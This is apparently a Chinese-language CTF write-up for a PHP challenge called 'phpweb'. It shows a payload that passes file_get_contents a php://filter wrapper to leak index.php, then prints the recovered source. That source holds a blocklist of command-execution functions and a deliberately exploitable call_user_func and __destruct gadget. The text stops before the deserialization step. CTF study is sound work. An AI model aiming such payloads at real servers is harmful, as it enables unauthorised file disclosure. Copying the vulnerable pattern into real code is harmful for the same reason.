没错，我就是懒狗。。。题目在CTFHUB上有复现
PHP_WEB 反序列化+函数构造+伪协议读取打开页面，发现什么都有，抓包看一下
发现有func和p参数，而且参数配合起来是个PHP内置函数，猜测可以构造PHP函数，先简单fuzz
发现file_get_contents这个没有被过滤，可以利用这个函数配合伪协议读取文件
func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php
解码
<!DOCTYPE html> <html> <head> <title>phpweb</title> <style type="text/css"> body { background:url("bg.jpg") no-repeat; background-size: 100%; } p { color: white; } </style> </head> <body> <script language=javascript> setTimeout("document.form1.submit()",5000) </script> <p> <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch", "escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce", "array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents" ); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else { return ""; } } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?> </p> <form id=form1 name=form1 action="index.php" method="post"> <input type="hidden" value=\'date\'> <input type="hidden" value=\'Y-m-d h:i:s a\'> </form> </body> </html>